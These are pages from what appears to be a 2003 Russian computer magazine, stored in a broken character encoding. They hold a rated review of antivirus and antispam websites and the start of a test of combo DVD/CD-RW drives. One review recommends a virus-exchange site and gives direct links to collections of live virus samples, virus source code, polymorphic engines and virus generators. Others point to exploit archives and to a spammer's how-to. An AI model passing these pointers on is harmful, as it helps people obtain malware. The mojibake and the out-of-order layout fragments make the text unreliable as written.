îíëàéí-ñåðâèñîâ ïî ïðîâåðêå
ôàéëîâ íà âèðóñû åñòü äâà
íåäîñòàòêà (ïî êðàéíåé ìåðå, ñàìûõ
ñóùåñòâåííûõ) - òû íå ñìîæåøü
ïðîâåðèòü ñèñòåìíóþ îáëàñòü
âèí÷åñòåðà, äëÿ ýòîãî íóæíî áóäåò
óñòàíàâëèâàòü àíòèâèðóñ
íåïîñðåäñòâåííî íà ñâîé
êîìïüþòåð, ÷òî íå âñåãäà óäîáíî,
êàê óæå ãîâîðèëîñü âûøå; è òû íå
ñìîæåøü ïðîâåðèòü áîëüøå îäíîãî

ôàéëà çà ðàç (åñëè òû íàøåë
ñïîñîá, êàê ýòî ìîæíî ñäåëàòü, æäó
òåáÿ â ìûëî).

WWW.KASPERSKY.RU 

Åùå îäèí îíëàéí-ñåðâèñ äëÿ
òâîèõ íóæä. Ïðèíöèï ðàáîòû

òîò æå ñàìûé, ò.å. òû çàõîäèøü íà
ñòðàíè÷êó, âûáèðàåøü ôàéë è
æäåøü, êîãäà ñèñòåìà ðóõíåò :). Âîò
÷òî íàïèñàíî íà ñàìîé ñòðàíè÷êå:
"Îäíàêî ñëåäóåò ïîìíèòü, ÷òî
ñòîïðîöåíòíîé ãàðàíòèåé ìîæåò
áûòü òîëüêî ðåãóëÿðíîå
èñïîëüçîâàíèå àíòèâèðóñà ñ
ðåãóëÿðíî îáíîâëÿåìûìè áàçàìè
äàííûõ", ò.å. ïðîâåðÿòü ôàéëû íà

âèðóñû â èíòåðíåòå - ýòî, êàê
ãîâîðèòñÿ, "íà âñÿêèé ïîæàðíûé".
Ñòðàíè÷êà ãðóçèòñÿ íåìíîãî
ìåäëåííåå, ÷åì ó ïðåäûäóùåãî
êîíêóðåíòà, íî ÷òî î÷åíü
ïîðàäîâàëî, òàê ýòî îáøèðíûé îò÷åò
î ðåçóëüòàòàõ ïðîâåðêè ôàéëà, äà ê
òîìó æå â áàçå Êàñïåðñêîãî ïî÷òè
íà 30 òûñÿ÷ áîëüøå èçâåñòíûõ
âèðóñîâ, ÷åì â áàçå Äàíèëîâà.

WWW.ANTIVIRUSPRO.RU/ON-
LINE3.HTM

Çäåñü òåáå ïðåäëîæàò
ïðîâåðèòüñÿ (âåðíåå íå òåáå, à

òâîåìó êîìïó) ñ ïîìîùüþ Panda
ActiveScan. Â îáùåì-òî, íè÷åãî
ïðèìå÷àòåëüíî â ýòîì àíòèâèðóñå ÿ
íå çàìåòèë, äà è îíëàéí-ïðîâåðêà
ïðîõîäèò â ñòàíäàðòíîì ðåæèìå.
Ìîæíî îòìåòèòü, ÷òî áàçà íà àâãóñò
2003 ãîäà ñîñòàâëÿëà îêîëî 66000
èçâåñòíûõ âèðóñîâ, ÷òî áîëüøå, ÷åì
ó Äàíèëîâà, íî ìåíüøå, ÷åì ó
Êàñïåðñêîãî. Òàê ñêàçàòü, çîëîòàÿ
ñåðåäèíà. 

È åùå, äóìàþ, òåáå áóäåò èíòåðåñíî
ïî÷èòàòü âîò ýòî (âçÿòî ñ
www.drweb.ru/faq.shtml#1):

»

SPECial delivery ×ÒÎÁÛ ÂÐÅÌß ÍÅ ÒÅÐßÒÜ110
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Èòîã:

Åñëè íóæíî áûñòðî ïðîâåðèòü íåáîëüøîé
ôàéë íà âèðóñû, òî òåáå ñþäà.

Íàâèãàöèÿ:
4
Ñêîðîñòü çàãðóçêè ñòðàíè÷êè:

4

Ñêîðîñòü ïðîâåðêè íà âèðóñû:

5

Ïðîâåðÿåì â ðåæèìå ðåàëüíîãî âðåìåíè

Ñàìûé ÿðûé ñîïåðíèê Dr.Web'a� Èëè

íàîáîðîò :)

Èòîã:

Âûãëÿäèò óæå íå ïî-äåòñêè, ïîäõîäèò äëÿ
òåõ, êòî ëþáèò èñ÷åðïûâàþùóþ èíôîðìà-
öèþ, èíîãäà äàæå íåíóæíóþ.

Íàâèãàöèÿ:
4
Ñêîðîñòü çàãðóçêè ñòðàíè÷êè:

4

Ñêîðîñòü ïðîâåðêè íà âèðóñû:

4

Íà âñÿêèé ñëó÷àé :)

Èòîã:

Íè÷åãî îñîáåííîãî.

Íàâèãàöèÿ:
3
Ñêîðîñòü çàãðóçêè ñòðàíè÷êè:

4

Ñêîðîñòü ïðîâåðêè íà âèðóñû:

3

� à ïðèñ-
ëàííóþ
"Âêóñ-
íîé_Êèñ-
êîé" ôîòîã-
ðàôèþ óæ
î÷åíü õî-
÷åòñÿ ñîõ-
ðàíèòü íà
äèñêåòó.
×òî æå äå-
ëàòü?

»

»

»



Ðàçíèöà íå â êîëè÷åñòâå âèðóñîâ, à
â òåõíîëîãèè ïîäñ÷åòà ýòîãî
êîëè÷åñòâà ðàçíûìè àíòèâèðóñàìè.
Â ïðîãðàììå Doctor Web îäíîé
çàïèñüþ â áàçå ìîæåò îïðåäåëÿòüñÿ
äî íåñêîëüêèõ ñîòåí âèðóñîâ.
Àâòîðû äðóãèõ àíòèâèðóñîâ
ïðåäïî÷èòàþò íåñêîëüêî
ðàçíîâèäíîñòåé îäíîãî è òîãî æå
âèðóñà, èíîãäà îòëè÷àþùèõñÿ äðóã
îò äðóãà âñåãî ëèøü ïàðîé áàéò,
ïîäñ÷èòûâàòü îòäåëüíî. Êðîìå òîãî,
â áàçàõ íåêîòîðûõ àíòèâèðóñîâ
ñîäåðæèòñÿ áîëüøîå ÷èñëî çàïèñåé,
ïðåäíàçíà÷åííûõ äëÿ
äåòåêòèðîâàíèÿ òàê íàçûâàåìûõ
"êëþ÷åäåëàëîê" (ãåíåðàòîðîâ
ëèöåíçèîííûõ êëþ÷åé), "êðÿêîâ"
(óòèëèò äëÿ ñíÿòèÿ çàùèò îò
êîïèðîâàíèÿ) è ìàññû äðóãèõ
ïðîãðàìì, ê âèðóñàì íèêàêîãî
îòíîøåíèÿ íå èìåþùèõ. Îäíàêî îíè
âêëþ÷àþòñÿ â ÷èñëî "îïðåäåëÿåìûõ
âèðóñîâ" è èñêóññòâåííî çàâûøàþò
ïîêàçàòåëè "êà÷åñòâà".

ÇÍÀÊÎÌÈÌÑß Ñ ÂÈÐßÌÈ

WWW.VIRUSLIST.COM

Î÷åíü áîëüøîé ðåñóðñ,
ïîñâÿùåííûé èñêëþ÷èòåëüíî
ïðîáëåìå âèðóñîâ. Çäåñü òû

íàéäåøü è ðåçóëüòàòû òåñòèðîâàíèÿ
ñàìûõ èçâåñòíûõ àíòèâèðóñîâ, è
íîâåéøèå òåõíîëîãèè, êîòîðûå
âíåäðÿþò â ñâîè ïðîäóêòû
ðàçðàáîò÷èêè ÏÎ è æåëåçà, è
äâàäöàòêó ñàìûõ ïîïóëÿðíûõ
âèðóñîâ çà íåäåëþ. Ñïèñîê ìîæíî
ïðîäîëæàòü î÷åíü äîëãî, íî äóìàþ,
òåáå áóäåò èíòåðåñíåå, åñëè òû
óâèäèøü âñå ñàì. Åùå õî÷ó
îòìåòèòü, ÷òî íà ýòîì ñàéòå òû
ìîæåøü çàðàáîòàòü, åñëè
ïîäîéäåøü ïîä ñèñòåìíûå
òðåáîâàíèÿ:
1) Áûòü â òåìå êîìïüþòåðíîé
áåçîïàñíîñòè (âèðóñû, ñïàì, âçëîìû
è õàêåðû, áðåøè, îøèáêè â ÏÎ,
ñâÿçàííûå ñ ýòèì ñóäåáíûå
ðàçáèðàòåëüñòâà è çàêîíîäàòåëüíûå
èíèöèàòèâû).
2) Óìåòü ïðàâèëüíî ðàññòàâèòü
ðÿäîì ñëîâà, áóêâû è öèôðû.
È åñëè òåáÿ îöåíÿò, òû áóäåøü
ïîëó÷àòü ãîíîðàð çà êàæäûé
íàïèñàííûé òîáîé êèëîáàéò
ïîëåçíîãî òåêñòà.

Íå ìîãó íå îòìåòèòü áîëüøóþ
âèðóñíóþ ýíöèêëîïåäèþ, ñîáñòâåííî
áëàãîäàðÿ åé ýòîò ñàéò è ïîïàë â
íàø îáçîð. Â íåé òû ïðî÷èòàåøü î
ñàìûõ èçâåñòíûõ âèðóñàõ, îáî âñåõ
òèïàõ èçâåñòíûõ âèðóñîâ, î òîì, êàê
íàäî çàùèùàòüñÿ.

WWW.ANTIVIRUSPRO.RU

Ñàéò, ïðåæäå âñåãî, äîëæåí
çàèíòåðåñîâàòü òåõ ëþäåé,

êîòîðûå ðàáîòàþò â ôèðìàõ, ãäå
ñîõðàííîñòü èíôîðìàöèè ñòîèò íà
ïåðâîì ìåñòå (õîòÿ â XXI âåêå ÿ âèæó
òîëüêî òðè ïðîáëåìû: çàùèòà
èíôîðìàöèè, ÿäåðíàÿ âîéíà è
ãëîáàëüíîå ïîòåïëåíèå, òàê ÷òî áóäåì
ñ÷èòàòü, ÷òî ñàéò ðåøàåò ãëîáàëüíûå
ïðîáëåìû ÷åëîâå÷åñòâà :)). Èìåííî
çäåñü ìîæíî çàêàçàòü àíòèâèðóñíûé
ïàêåò, êîòîðûé ïîäõîäèò äëÿ òâîåãî
áèçíåñà. Íî ñàéò èíòåðåñåí íå òîëüêî
ýòèì.
www.antiviruspro.ru/faq/faq.htm - òóò
ìîæíî ïî÷èòàòü è î ôèðìå, è îá
àíòèâèðóñàõ, êñòàòè, åñòü è ïîëåçíûå
âåùè.
www.antiviruspro.ru/surprise/parodies.ht
m - ìîæíî ñêà÷àòü ïðèêîëüíûå
ïðîãðàììêè-ïàðîäèè íà èçâåñòíûå â
ñâîå âðåìÿ àíòèâèðóñû (ýòî òî æå
ñàìîå, ÷òî çàíîâî ñåñòü çà èãðó â
àðêàíîèä, ïîâåðü ìíå).
www.antiviruspro.ru/antivirus.htm -
ïî÷èòàòü î âñåõ èçâåñòíûõ àíòèâèðóñàõ.

VIRUSLAB.RU

×òî ñðàçó íå ïîíðàâèëîñü, òàê
ýòî íåìûñëèìîå âðåìÿ

çàãðóçêè íà äèàëàïå è ìíîæåñòâî
âñÿêîé ðåêëàìû (î÷åíü ìåøàåò,
êîãäà âñå ôëåøêè íà÷èíàþò
êðóòèòüñÿ è ìèãàòü).
Òåïåðü íåïîñðåäñòâåííî îá
èíôîðìàöèîííîé íà÷èíêå ñàéòà:
åñòü è âèðóñíàÿ ýíöèêëîïåäèÿ,
ïðàâäà íà àíãëèéñêîì (http://serv-
ice.pandasoftware.es/enciclopedia2/E
ntradaEnciclopedia.html?idioma=2),
è òåõíè÷åñêèå õàðàêòåðèñòèêè
àíòèâèðóñîâ ïàíäà, ïëþñ
ðóêîâîäñòâà ïîëüçîâàòåëÿ â
ýëåêòðîííîì âèäå
(www.viruslab.ru/docs_new.html).
Î òîì, ÷òî íà ñàéòå åñòü âñå äëÿ òåõ,
ó êîãî ñòîèò àíòèâèðóñ Ïàíäà, ÿ
ãîâîðèòü íå áóäó, ò.ê. òàêèõ ëþäåé íà

111

Ñðàçó ñêà-
æó, ÷òî ó
âñåõ îí-
ëàéí-ñåðâè-
ñîâ ïî ïðî-
âåðêå ôàé-
ëîâ íà âè-
ðóñû åñòü
ïî êðàéíåé
ìåðå äâà
íåäîñòàòêà.
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Áîëüøàÿ âèðóñíàÿ ýíöèêëîïåäèÿ

Èòîã:

Õîðîøèé ñàéò, åñëè òåáå íóæíî îïèñàíèå
ãðóïïû êàêèõ-òî âèðóñîâ, èëè òû ïðîñòî èí-
òåðåñóåøüñÿ âñåì, ÷òî ñ íèìè ñâÿçàíî.
Ñàéò îáíîâëÿåòñÿ ÷àñòî, òàê ÷òî òû áóäåøü
â êóðñå âñåõ ïîñëåäíèõ ñîáûòèé.

Íàâèãàöèÿ:
5
Ñêîðîñòü çàãðóçêè ñòðàíè÷êè:

5

×èòàåì î WinNuke

Àíòèâèðóñíûé öåíòð

Íåïëîõî, äà?!

Èòîã:

Õîðîøèé ñàéò, ïîñâÿùåííûé àíòèâèðóñàì,
ñòîèò ïîñåòèòü äëÿ îáùåãî ðàçâèòèÿ. Íó à
åñëè òû ïðåäñòàâèòåëü ôèðìû, òî ïðîñòî
îáÿçàí çàéòè, ïî÷èòàòü, ïîñìîòðåòü íà öå-
íû è ðåøèòü äëÿ ñåáÿ: îíî òåáå íàäî? :)

Íàâèãàöèÿ:
4
Ñêîðîñòü çàãðóçêè ñòðàíè÷êè:

5

Ñàéò Ïàíäû â Ðîññèè

»

»

»

Ó÷è àíãëèéñêèé!



ïîðÿäîê ìåíüøå, ÷åì òåõ, êòî
ïîëüçóåòñÿ äðóãèìè àíòèâèðóñàìè,
îíè è ñàìè ñìîãóò âñå áåç ïðîáëåì
íàéòè.

VX.ORG.UA

Ýòîò ñàéò â ïîëíîì îáúåìå
ïîñâÿùåí âèðóñàì, òàêæå òóò

ïðåäîñòàâëÿåòñÿ ìåñòî òåì, êòî ïèøåò
âèðóñû, âèðóñ-ãðóïïàì è êàæäîìó, êòî
âèäèò äëÿ ñåáÿ ÷òî-òî èíòåðåñíîå â
êîìïüþòåðíûõ âèðóñàõ.
Òóò òû ìîæåøü ñêà÷àòü ñàìè âèðóñû
(îíè çàïàêîâàíû â àðõèâû, â
êîëëåêöèè áîëüøå 10000
ýêçåìïëÿðîâ,
http://vx.netlux.org/src.shtml),
èñõîäíèêè, æóðíàëû, ïîëèìîðôèê
äâèæêè, ãåíåðàòîðû âèðóñîâ
(http://vx.netlux.org/vx.php?id=tidx),
âèðóñû äëÿ "ýêçîòè÷íûõ" ïëàòôîðì,
ñèìóëÿòîðû âèðóñîâ. Âñå íà
àíãëèéñêîì, íî äóìàþ, øêîëüíûõ
çíàíèé áóäåò äîñòàòî÷íî. Åñòü î÷åíü
ïîëåçíûé ðàçäåë "Ññûëêè", òóò âñå
ññûëêè òåìàòè÷åñêè ðàçäåëåíû,
ìîæíî ñîðòèðîâàòü ïî èìåíè,

âðåìåíè èëè êîëè÷åñòâó õèòîâ, ê
òîìó æå âñå ëèíêè (ïî êðàéíåé ìåðå
òå, êîòîðûå ÿ òûêàë) áûëè ðàáî÷èìè!
http://vx.org.ua/lib_ru.shtml - õîðîøàÿ
ïîäáîðêà ìàòåðèàëîâ íà ðóññêîì
ÿçûêå î âèðóñàõ, çàêîíå, ñöåíå.
Î òîì, ÷òî åñòü ôîðóì è êîëîíêà
íîâîñòåé, ãîâîðèòü íå áóäó :).

WWW.MCAFEE.RU

Åñëè ó òåáÿ ïðîäóêòû îò
McAfee, òî òû è ñàì çíàåøü

ýòîò àäðåñ. Âñå äî áîëè çíàêîìî,
ñëóæáà òåõïîääåðæêè, îáíîâëåíèÿ,
îíëàéí-ïîêóïêà è ò.ï. Â îáùåì, ýòîò
ñàéò íå âîøåë áû â îáçîð, åñëè áû
íå îäíî ÍÎ: åñòü íà íåì òàêàÿ ôè÷à,
êàê ïðîâåðêà òâîåãî êîìïà â ðåæèìå
ðåàëüíîãî âðåìåíè íà âèðóñû.
Òû êà÷àåøü ÀêòèâÕ êîìïîíåíò,
êîòîðûé âåñèò 1,6 ìåòðà,
ðàçðåøàåøü åìó óñòàíîâèòüñÿ íà
êîìï è æäåøü :). Âñå ñîâåðøåííî
áåñïëàòíî è íèêîãäà íå ïîâðåäèò.

WWW.DRWEB.RU

Êàê âèäíî èç íàçâàíèÿ, ñàéò,
ïðåæäå âñåãî, äëÿ

ïîëüçîâàòåëåé ïðîäóêòîâ îò
Äàíèëîâà. Ïîñìîòðèì, ÷òî æå òóò
åñòü äëÿ âñåõ îñòàëüíûõ.
http://drweb.ru/misc/ - çäåñü ìîæíî
ïîñìîòðåòü îïèñàíèå íåêîòîðûõ
âèðóñîâ, íà ìîé âçãëÿä, ñàìûõ
ðàñïðîñòðàíåííûõ, ìîæíî
ïîäïèñàòüñÿ\îòïèñàòüñÿ îò
ðàññûëêè è ïî÷èòàòü íåêîòîðûå
ñòàòüè, íåïîñðåäñòâåííî ñâÿçàííûå
ñ àíòèâèðóñîì Dr.Web.
www.drweb.ru/faq.shtml - ÷àñòî
çàäàâàåìûå âîïðîñû ïî
îäíîèìåííûì ïðîäóêòàì.

Äàæå íå ìîãó ïîäâåñòè èòîã, ò.ê. ñàéò
â ïðèíöèïå ïðåäíàçíà÷åí òîëüêî
äëÿ òåõ, êòî þçàåò Dr.Web, åñëè òû
íå â èõ ÷èñëå, òî èùåì äàëüøå :).

ÍÀÄÎÅË ÑÏÀÌ?

WWW.NOSPAM.NM.RU

Íåïëîõîé ñàéò ïî ïðîáëåìå
ñïàìà. Êñòàòè, êàê òû óæå,

íàâåðíîå, çàìåòèë, â íàñòîÿùåå
âðåìÿ ñïàì ïðèîáðåòàåò âñå áîëåå
ãëîáàëüíûå ìàñøòàáû, ó ìåíÿ,
íàïðèìåð, îêîëî 70%
êîððåñïîíäåíöèè - ýòî ñïàì, à
òðàòèòü äåíüãè íà ïåðåêà÷êó âñåãî
ýòîãî íåíóæíîãî õëàìà îé êàê íå
õî÷åòñÿ! Ñîçäàòåëè óñëîâíî äåëÿò
ðåêëàìó íà äâå âåòêè: ñïàì è
áàííåðû, ïî êàæäîé âåòêå êîíêðåòíî
íàïèñàíà èäåîëîãèÿ è ñðåäñòâà
áîðüáû ñ ýòèì. Â ðàçäåëå "ññûëêè"
íåïëîõîé ïîäáîð ñàéòîâ äëÿ áîðüáû
ñî çëîáíûìè ñïàìåðàìè, âîò òîëüêî
íåêîòîðûå èç íèõ:
www.ezhe.ru/ses/
http://antispam.home.nov.ru/
http://ordb.org/ - OpenRelay
DataBase, ïî÷òè âñå SMTP ñåðâèñû,
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Ìíîãî î Ïàíäå â îäíîì ìåñòå

Èòîã:

Åñëè ó òåáÿ Panda, òî ýòî òâîå.

Íàâèãàöèÿ:
5
Ñêîðîñòü çàãðóçêè ñòðàíè÷êè:

2

Viruses don't harm ignorance do!

Ðàé äëÿ äàóíëîäåðîâ

Èòîã:

Îäíîçíà÷íî ñòîèò âçãëÿíóòü íà ýòî ÷óäî!

Íàâèãàöèÿ:
5
Ñêîðîñòü çàãðóçêè ñòðàíè÷êè:

5

Êðàñèâî?

Äóìàþ, ñòîèò âçãëÿíóòü

Èòîã:

Åñëè åñòü íîðìàëüíûé àíòèâèðóñ, òî ìîæíî
áûëî íå ÷èòàòü.

Íàâèãàöèÿ:
4
Ñêîðîñòü çàãðóçêè ñòðàíè÷êè:

4

Ïîñìîòðèì?

Ïðîåêò NoSpam

Â ðàçäåëå
"þìîð"
ìîæíî ïðî-
âåñòè íåñ-
êîëüêî ïðè-
ÿòíûõ ìè-
íóò.

Ñïèñîê
ìîæíî ïðî-
äîëæàòü
î÷åíü äîë-
ãî, íî äó-
ìàþ, òåáå
áóäåò èíòå-
ðåñíåå, åñëè
òû óâèäèøü
âñå ñàì.

»

»

»

»



êîòîðûå ïðåäîñòàâëÿþò îòêðûòûé
äîñòóï, èìè è ïîëüçóþòñÿ ñïàìåðû
http://spam.abuse.net/

WWW.ANTISPAM.RU

Áðîñàåòñÿ â ãëàçà ïî÷òè
ïîëíîå îòñóòñòâèå äèçàéíà,

óïîð ñäåëàí íà èíôîðìàòèâíîå
íàïîëíåíèå ñàéòà, ÷òî î÷åíü ðàäóåò.
Òóò ìàòåðèàë äëÿ ñåáÿ ìîãóò íàéòè è
ïðîôåññèîíàëû, è îáû÷íûå
ïîëüçîâàòåëè. Åñòü î÷åíü ïîëåçíàÿ
èíôîðìàöèÿ, íàïðèìåð î òîì, êàê
âû÷èñëèòü îòïðàâèòåëÿ ñïàìà è
îòïðàâèòü æàëîáó
(www.antispam.ru/4user/examples_he
ader.shtml), èëè î òîì, êàê ñïðÿòàòü
ñâîé àäðåñ
(www.antispam.ru/sh?act=msg&id=101
6725252). Íà ñàéòå ïîñòîÿííî
óïîìèíàåòñÿ äîêóìåíò -
www.stopspam.org/email/headers/he
aders.html, â êîòîðîì î÷åíü
ïîäðîáíî è ãðàìîòíî
ðàññêàçûâàåòñÿ î òîì, êàê ÷èòàòü
çàãîëîâêè ïî÷òîâûõ ñîîáùåíèé ñ
öåëüþ îïðåäåëåíèÿ àäðåñîâ, ïî
êîòîðûì íóæíî ïîñûëàòü æàëîáû íà
ïîëó÷åííûé òîáîé ñïàì.

ANTISPAM.RIN.RU

Êàê ïèøóò ðàçðàáîò÷èêè:
"Ïîñåòèâ íàø ïðîåêò, Âû

óçíàåòå: ÷òî òàêîå ñïàì è ñ ÷åì åãî
"åäÿò"; åãî âèäû è êàê áîðîòüñÿ ñî
ñïàìîì; ïîñëåäíèå íîâîñòè è ìíîãîå
äðóãîå. Çäåñü Âû ñìîæåòå ñêà÷àòü
àíòèñïàìåðñêèå ïðîãðàììû è
îçíàêîìèòüñÿ ñ íàèáîëåå ïîëíûì
ñïèñêîì ñïàìåðîâ è àíòèñïàìåðîâ.
Êðîìå ýòîãî ïðåäëàãàåì Âàì óñëóãè

whois-ñåðâèñà äëÿ îïðåäåëåíèÿ èñ-
òî÷íèêîâ ñïàìà".
Â ïðèíöèïå, äîáàâèòü íå÷åãî, ïðîñòî
ñêàæó, ÷òî ðåñóðñ äåéñòâèòåëüíî ñòî-
ÿùèé, èíôîðìàöèè î÷åíü ìíîãî, â
ðàçäåëå "þìîð" ìîæíî ïðîâåñòè íåñ-
êîëüêî ïðèÿòíûõ ìèíóò, à â ôîðóìå
âûÿñíèòü íàáîëåâøèå âîïðîñû. Åñòü
"Îòêðîâåíèÿ áûâøåãî ñïàìåðà"
(http://antispam.rin.ru/mytest10.htm),
ãäå ïîäðîáíî ðàññêàçûâàåòñÿ, êàê
íóæíî ðàññûëàòü ðåêëàìíûå ïèñüìà!

ÎÁÙÀß ÁÅÇÎÏÀÑÍÎÑÒÜ

WWW.SECURITYLAB.RU

Èíòåðåñíûé ñàéò ïðî êîìïüþòåð-
íóþ áåçîïàñíîñòü, òóò è ìíîæå-

ñòâî ñòàòåé ïî òåìå, è ýêñïëîèòû, ôî-
ðóì, îòäûõ, ïîëåçíûé ñîôò, óÿçâèìîñ-
òè (õîòÿ äëÿ ýòîãî ëó÷øå www.void.ru
èëè www.bugtraq.ru/) è ìíîãî ÷åãî åùå.
×òî ïðèÿòíî - ñàéò ïîñòîÿííî îáíîâëÿ-
åòñÿ, è íà íåì âûêëàäûâàþòñÿ ñòàòüè
âåäóùèõ ñïåöèàëèñòîâ â òåìå êîìïüþ-
òåðíîé áåçîïàñíîñòè.

Äóìàþ, òåïåðü òû ñìîæåøü áåç
ïðîáëåì íàéòè â Ñåòè èìåííî òî, ÷òî
òåáÿ èíòåðåñóåò. Ìîé ìûë îòêðûò,
åñòü âîïðîñû - ïèøè!                    A
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Èòîã:

Ïîäîéäåò äëÿ íà÷àëüíîãî îçíàêîìëåíèÿ ñî
ñïàìîì è ñðåäñòâàìè áîðüáû ñ íèì.

Íàâèãàöèÿ:
5
Ñêîðîñòü çàãðóçêè ñòðàíè÷êè:

5

Âñå, ÷òî íóæíî äëÿ áîðüáû ñî ñïàìîì

Èòîã:

Áîëåå ãëóáîêîå èçó÷åíèå ïðîáëåìû ñïàìà

Íàâèãàöèÿ:
5
Ñêîðîñòü çàãðóçêè ñòðàíè÷êè:

5

Åùå îäèí ðåñóðñ

Èòîã:

Îäíîçíà÷íî ñòîèò ïîñìîòðåòü, ïî÷èòàòü è
ñëîìàòü ÑÏÀÌ!

Íàâèãàöèÿ:
5
Ñêîðîñòü çàãðóçêè ñòðàíè÷êè:

5

»

»

»

Ìíîãî âêóñíîãî î êîìïüþòåðíîé

áåçîïàñíîñòè



test_lab (test_lab@gameland.ru)

ÊÎÌÁÀÉÍÛ 
ÍÀ ÐÛÍÊÅ!
ÒÅÑÒÈÐÎÂÀÍÈÅ ÊÎÌÁÈÍÈÐÎÂÀÍÍÛÕ 
DVD/CD-R/RW-ÏÐÈÂÎÄÎÂ

íòåðåñíàÿ ñèòóàöèÿ
ñëîæèëàñü â íàñòîÿùåå
âðåìÿ íà ðûíêå îïòè-
÷åñêèõ íîñèòåëåé. Íî-
âûå òåõíîëîãèè è ñòàí-

äàðòû ïëîäÿòñÿ, êàê êðîëèêè, à ñòàðûå è
íå äóìàþò îòìèðàòü. È ÷òî æå äåëàòü
ïðèêàæåøü? Çàïèõèâàòü â êóçîâ êó÷ó
ïðèâîäîâ òàê, ÷òîáû ñëîòà æèâîãî íå áû-
ëî? Íî è êóçîâ - íå ðåçèíîâûé, è äåíüãè
- ðåñóðñ ðåäêèé, ïîýòîìó ïðèõîäèòñÿ äå-
ëàòü âûáîð ìåæäó "çàðåçàòü áîëâàíü" è
"íàñëàäèòüñÿ êà÷åñòâîì DVD".
Áîëüøå íå ïðèõîäèòñÿ! Ïðîèçâîäèòåëè
ðåøèëè ýòó ïðîáëåìó, âûïóñòèâ íà ðû-
íîê êîìáî-ïðèâîäû, òî åñòü äðàéâû,
ñïîñîáíûå êàê çàïèñûâàòü CD-R/RW,
òàê è ÷èòàòü DVD-äèñêè ðàçíûõ ôîðìà-
òîâ, ïðè÷åì ìåæäó èçâåñòíûìè áðåíäà-
ìè óæå ñóùåñòâóåò íåõèëàÿ êîíêóðåí-
öèÿ, à öåíû íà äåâàéñû âïîëíå äåìîê-
ðàòè÷íû (ïîðÿäêà 50 óñëîâíûõ åäè-
íèö). Òàêèì îáðàçîì, ñåãîäíÿ â íàøåì
òåñòèðîâàíèè ïðèíÿëè ó÷àñòèå êîìáè-
íèðîâàííûå DVD/CD-R/RW-ïðèâîäû â
öåíîâîé êàòåãîðèè äî 60 äîëëàðîâ.

ÂÍÅØÍÈÅ ÄÀÍÍÛÅ
Âñå ó÷àñòíèêè ñåãîäíÿøíåãî òåñòè-

ðîâàíèÿ ðàññ÷èòàíû ïîä ïÿòèäþéìî-
âûé ñëîò, îäíàêî ïî äëèíå íåñêîëüêî
îòëè÷àþòñÿ. Ñàìûå êîìïàêòíûå - SONY
è TEAC, îíè ïðèìåðíî îäíîãî ðàçìåðà.
Ñàìûé áîëüøîé è ðàçëàïèñòûé ïðèâîä
- TOSHIBA. Ïî âåñó âñå äåâàéñû ïðè-
ìåðíî îäèíàêîâûå: îò 0,9 äî 1,1 êã, çà
èñêëþ÷åíèåì SAMSUNG, âåñ êîòîðîãî
ïî ñïåöèôèêàöèè - 0,77 êã.
Ïî äèçàéíó ïåðåäíåé ïàíåëè SAM-
SUNG - âíå êîíêóðåíöèè: ñêðóãëåííûå
óãëû ó ëîòêà è óäîáíàÿ êðóãëàÿ êíî-
ïî÷êà, ïîäñâå÷èâàåìàÿ äèîäîì (î÷åíü
óäîáíî íàõîäèòü åå â òåìíîòå), îñòàâ-
ëÿþò ñàìûå ïðèÿòíûå âïå÷àòëåíèÿ.
Òàêæå î÷åíü ïîíðàâèëàñü êíîïêà ó
ïðèâîäà LG, ñäåëàííàÿ ýòàêèì áóãîð-
êîì - ëåãêî íàùóïûâàåòñÿ è íàæèìàåò-
ñÿ. Ëåãêî íàéòè êíîïêó è ó äðàéâà
GIGABYTE. Ó SONY, TOSHIBA è TEAC
êíîïî÷êà ñòàíäàðòíàÿ, ìàëåíüêàÿ,
äëèííàÿ è óçêàÿ, ïëîõî íàùóïûâàåòñÿ
è íàæèìàåòñÿ, à ó SONY åùå è ñðàáà-
òûâàåò íå ñ ïåðâîãî íàæàòèÿ.
Çàäíÿÿ ïàíåëü ó âñåõ ïðèâîäîâ ñòàíäà-
ðòíà: âñå ãíåçäà îáúåäèíåíû â îäèí
áëîê, ÷òî î÷åíü ïðàâèëüíî, òàê êàê
ìåíüøå øàíñîâ ðàñøàòàòü èõ, âñòàâëÿÿ
è âûíèìàÿ øëåéôû è ïèòàíèå. Óñòðîé-
ñòâî TOSHIBA óäèâèëî îòñóòñòâèåì ïî-
ÿñíÿþùåé ñõåìû äëÿ ðàçúåìîâ íà çàä-
íåé ÷àñòè - ó âñåõ îñòàëüíûõ ïðèâîäîâ
îíà áûëà, ïðè÷åì èíîãäà â äâîéíîì ýê-
çåìïëÿðå (ñâåðõó è ñçàäè).

ØÓÌ, ÃÀÌ È ÒÅÌÏÅÐÀÒÓÐÀ
Øóì, èçäàâàåìûé âûåçæàþùèì

ëîòêîì, î÷åíü âàæíûé ïàðàìåòð, åñëè
òû ðåøèë âòàéíå îò ðîäíûõ ïîñìîò-
ðåòü âèäåîäèñê ñ "êëóáíè÷êîé". Ïðè-
âîä îò TOSHIBA çäåñü òåáÿ, íåñîìíåí-
íî, ïîäâåäåò, òàê êàê åãî ëîòîê âûåçæà-
åò è óáèðàåòñÿ ñ ãðîìêèì æóææàíèåì,
ïîõîæèì íà çâóê íåèñïðàâíîãî êèáîð-
ãà èç ãîëëèâóäñêèõ ôèëüìîâ. Ëîòîê
äðàéâà SONY òîæå äîâîëüíî ãðîìêèé. Ó
GIGABYTE è SAMSUNG ëîòîê äâèãàåòñÿ
î÷åíü òèõî, íî â íà÷àëå è â êîíöå äâè-
æåíèÿ íåãðîìêî ùåëêàåò. Ñàìûå òèõèå
ëîòêè ó LG è TEAC.
Ïðè ðàáîòå ñ äèñêîì ó âñåõ ïðèâîäîâ
ïðîñëåæèâàåòñÿ ïðÿìàÿ çàâèñèìîñòü

øóìà è âèáðàöèè îò ñêîðîñòè ÷òåíèÿ/çà-
ïèñè. Âñå äåâàéñû çàìåòíî øóìÿò ïðè
÷òåíèè äèñêîâ ñ äàííûìè è òèõî ÷èòàþò
DVD ñ ôèëüìîì. Ñàìûå òèõèå ïðèâîäû â
îáçîðå - SAMSUNG è GIGABITE, êîòîðûå
ãóäåëè òèøå âñåõ è íå èçäàâàëè ïîñòî-
ðîííèõ çâóêîâ. SONY è TEAC øóìÿò íå
î÷åíü ñèëüíî, îäíàêî ÷àñòî ïóãàþò îò-
÷åòëèâûì ñòðàííûì ñêðèïîì ïðè ïîçè-
öèîíèðîâàíèè è ðàñïîçíàâàíèè äèñêà.
TOSHIBA è LG øóìÿò ãðîìêî, îäíàêî íå
èçäàþò ïîñòîðîííèõ çâóêîâ, êàê SONY è
TEAC.
